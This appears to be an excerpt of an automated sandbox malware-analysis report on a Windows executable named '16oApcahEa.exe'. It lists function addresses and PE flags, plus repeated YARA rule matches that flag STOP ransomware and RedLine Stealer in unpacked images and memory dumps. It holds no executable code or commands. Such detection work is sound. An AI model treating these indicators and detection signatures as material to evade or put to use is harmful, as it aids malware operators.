Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D589D0	5_2_04D589D0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D559F7	5_2_04D559F7
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D7F9B0	5_2_04D7F9B0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D7E9A3	5_2_04D7E9A3
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D5A916	5_2_04D5A916
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D57A80	5_2_04D57A80
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D5CA10	5_2_04D5CA10
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D5DBE0	5_2_04D5DBE0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D52B60	5_2_04D52B60
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D60B00	5_2_04D60B00
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0042E003	6_2_0042E003
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040D240	6_2_0040D240
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0041E690	6_2_0041E690
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040F730	6_2_0040F730
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00481920	6_2_00481920
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00419F90	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D050	6_2_0050D050
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00405057	6_2_00405057
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040C070	6_2_0040C070
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0042F010	6_2_0042F010
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D008	6_2_0050D008
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00408030	6_2_00408030
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D028	6_2_0050D028
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_004070E0	6_2_004070E0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D090	6_2_0050D090
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050D0A8	6_2_0050D0A8
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00410160	6_2_00410160
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_004021C0	6_2_004021C0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_004C9343	6_2_004C9343
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0044237E	6_2_0044237E
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00405447	6_2_00405447
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00405457	6_2_00405457
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_004084C0	6_2_004084C0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050C4E0	6_2_0050C4E0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_004344FF	6_2_004344FF
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00449506	6_2_00449506
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0043E5A3	6_2_0043E5A3
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0044B5B1	6_2_0044B5B1
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040A660	6_2_0040A660
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00409686	6_2_00409686
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00406740	6_2_00406740
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00402750	6_2_00402750
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040A710	6_2_0040A710
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00408780	6_2_00408780
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0044D7A1	6_2_0044D7A1
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0042C804	6_2_0042C804
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00406880	6_2_00406880
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050C960	6_2_0050C960
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050C928	6_2_0050C928
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0044D9DC	6_2_0044D9DC
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_004069F3	6_2_004069F3
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050C988	6_2_0050C988
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050C9A8	6_2_0050C9A8
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00449A71	6_2_00449A71
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00443B40	6_2_00443B40
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CB78	6_2_0050CB78
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00402B80	6_2_00402B80
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00406B80	6_2_00406B80
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00409CF9	6_2_00409CF9
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0044ACFF	6_2_0044ACFF
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040DD40	6_2_0040DD40
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00427D6C	6_2_00427D6C
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CD60	6_2_0050CD60
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040BDC0	6_2_0040BDC0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CDF0	6_2_0050CDF0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00409DFA	6_2_00409DFA
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CE58	6_2_0050CE58
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0042CE51	6_2_0042CE51
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00406EE0	6_2_00406EE0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00409F76	6_2_00409F76
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00420F30	6_2_00420F30
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CF28	6_2_0050CF28
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CFC0	6_2_0050CFC0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00449FE3	6_2_00449FE3
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0050CF90	6_2_0050CF90

Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: String function: 04D10160 appears 50 times
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: String function: 04D08EC0 appears 57 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 04D78EC0 appears 57 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 00428C81 appears 79 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 04D08EC0 appears 57 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 00420EC2 appears 40 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 04D10160 appears 50 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 004547A0 appears 108 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 00422587 appears 48 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 0042F7C0 appears 172 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 0044F23E appears 108 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 00428520 appears 144 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 00425007 appears 32 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 04D80160 appears 50 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 00450870 appears 52 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 00454E50 appears 77 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 00441A25 appears 44 times
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: String function: 0044F26C appears 41 times

Source: 16oApcahEa.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.16oApcahEa.exe.4ce15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.16oApcahEa.exe.4ce15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.16oApcahEa.exe.4d515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.16oApcahEa.exe.4d515a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.16oApcahEa.exe.4c915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.16oApcahEa.exe.4c915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.16oApcahEa.exe.4ce15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.16oApcahEa.exe.4ce15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.16oApcahEa.exe.4ce15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.16oApcahEa.exe.4ce15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.16oApcahEa.exe.4d515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.16oApcahEa.exe.4d515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.16oApcahEa.exe.4cd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.16oApcahEa.exe.4cd15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.16oApcahEa.exe.4c915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.16oApcahEa.exe.4c915a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.16oApcahEa.exe.4cd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.16oApcahEa.exe.4cd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.16oApcahEa.exe.4ce15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.16oApcahEa.exe.4ce15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000005.00000002.2112745886.0000000004AFE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.2208403894.0000000004AF3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
